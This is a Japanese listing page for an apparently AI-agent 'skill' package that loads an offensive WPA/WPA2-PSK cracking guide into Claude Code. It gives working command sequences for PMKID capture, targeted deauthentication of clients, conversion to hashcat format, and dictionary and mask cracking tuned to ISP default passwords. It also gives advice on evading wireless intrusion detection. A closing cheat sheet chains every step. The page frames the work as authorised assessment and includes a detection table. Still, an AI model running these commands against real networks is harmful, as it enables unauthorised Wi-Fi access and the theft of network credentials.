offensive-wpa2-psk について
無線セキュリティ評価者向けの WPA/WPA2-PSK テストガイドです。PMKID または 4 ウェイハンドシェイクの取得、オフライン解析用形式への変換、検知の兆候を説明します。
主な機能
- 01PMKID の取得を優先して試行
- 024 ウェイハンドシェイクの取得と検証
- 03hashcat 形式への変換とオフライン解析
- 04辞書、ルール、マスクによるテスト
- 05検知の兆候と通信ノイズの抑制方法
活用シーン
- 01許可された評価で Wi-Fi PSK の強度を確認
- 02対象アクセスポイントのハンドシェイク情報を取得・検証
- 03辞書やマスクを用いて候補パスワードをオフラインでテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wpa2-pskインストール後、Claude Code で/offensive-wpa2-pskを入力して読み込まれたか確認します。
詳細
WPA/WPA2-PSK 攻撃
ほぼすべての一般消費者向けおよび SMB Wi-Fi ネットワークで使われているデフォルトのモードです。4ウェイハンドシェイクの PMKID と EAPOL フレームがあれば、オフラインでの解析に必要な情報がすべて得られます。オンラインでの試行は不要で、ロックアウトもなく、検知につながる兆候は認証解除だけです(PMKID を使えば回避できます)。
クイックワークフロー
- ターゲットの BSSID、チャネル、暗号化方式を特定します(
offensive-wifi-reconを参照)。 - まず PMKID を試します(高速で、クライアントとのやり取りは不要です)。
- PMKID が取得できなければ、4ウェイハンドシェイクのキャプチャに切り替えます。
- キャプチャを hashcat 互換形式に変換します。
- 適切なワードリスト、ルール、マスクを使ってオフラインで解析します。
PMKID 攻撃(可能な場合に推奨)
PMKID は4ウェイハンドシェイクの最初のメッセージに含まれています。多くの AP は1回の関連付け要求に応答して PMKID を漏らすため、実際のクライアントは必要ありません。
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt には、攻撃を許可された BSSID が1行につき1つ記載されています。
hash.hc22000 が空の場合、その AP から PMKID は取得できません。4ウェイハンドシェイクに進んでください。
4ウェイハンドシェイクのキャプチャ
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
クライアントが関連付けられている場合:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
ハンドシェイクは airodump の右上隅に WPA handshake: AA:BB:CC:DD:EE:FF と表示されます。
一度に1台のクライアントを対象にする理由: ブロードキャスト認証解除(-c なし)は WIDS の検知をすぐに招き、より目立ちます。1つの MAC を対象に5回の認証解除を一度に送れば十分です。
キャプチャの検証
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
ツールが M1/M2 のペアを報告しても、EAPOL 認証が適切に行われていない場合は、再度キャプチャしてください。不完全なハンドシェイクや不正なハンドシェイクでは、解析に失敗します。
解析
辞書+ルール
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
有用なワードリスト:
rockyou.txt(定番)weakpass_3/weakpass_4(大規模な漏えいデータ集)crackstation.txt- 対象に合わせたもの:会社名、製品、所在地
よくあるデフォルトパターンを狙うマスク攻撃
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
ベンダーのデフォルト生成ツール
一部の ISP ルーターは、既知のアルゴリズムを使い、SSID のプレフィックスとシリアル番号のサフィックスから PSK を導出します。
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT の解析
802.11r(Fast Transition)が有効な場合、AP 間のキー転送は有線側でキャプチャできるほか、ローミング時に無線上で確認できます。PMK の導出を利用すれば、同じ hc22000 形式で別の解析経路を使えます。
解析パフォーマンスの調整
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
Opportunistic Key Cache(OKC)
OKC が有効な場合(WPA2-Enterprise でも一般的です)、AP は過去に成功した関連付けの PMK をキャッシュし、ローミング時に再利用します。そのため、完全なハンドシェイクを回避できます。攻撃者から見ると、OKC のハンドシェイクから回収できる PMK のデータは同じです。主な影響は、無線上で確認できる M1/M2 のペアが少なくなることです。
検知に関する考慮事項
| シグナル | 防御側の見方 |
|---|---|
| 認証解除の集中送信 | WIDS ルール:不正な理由コードを伴う、1秒あたり>N回の認証解除 |
| PMKID の大量要求(hcxdumptool はデフォルトで多数の関連付け要求を送信) | WIDS ルール:単一 MAC からの急速な関連付け |
| モニターモードのインターフェース | 一部のエンタープライズ向け WIDS は、近接するモニター用無線機器をフィンガープリントで識別します |
検知を最小限に抑えるには、--filtermode=2 を指定した PMKID(許可リストの対象のみを使用)、単一の対象を狙った認証解除の集中送信、キャプチャごとの送信元 MAC アドレスのランダム化を行います。
エンゲージメント用チートシート
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
主な参考資料
- hashcat ドキュメント(モード 22000):hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- hcxtools:github.com/ZerBea/hcxtools
- ZerBea による PMKID の調査(2018年の最初の開示)
- 802.11i-2004(WPA2 仕様)
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md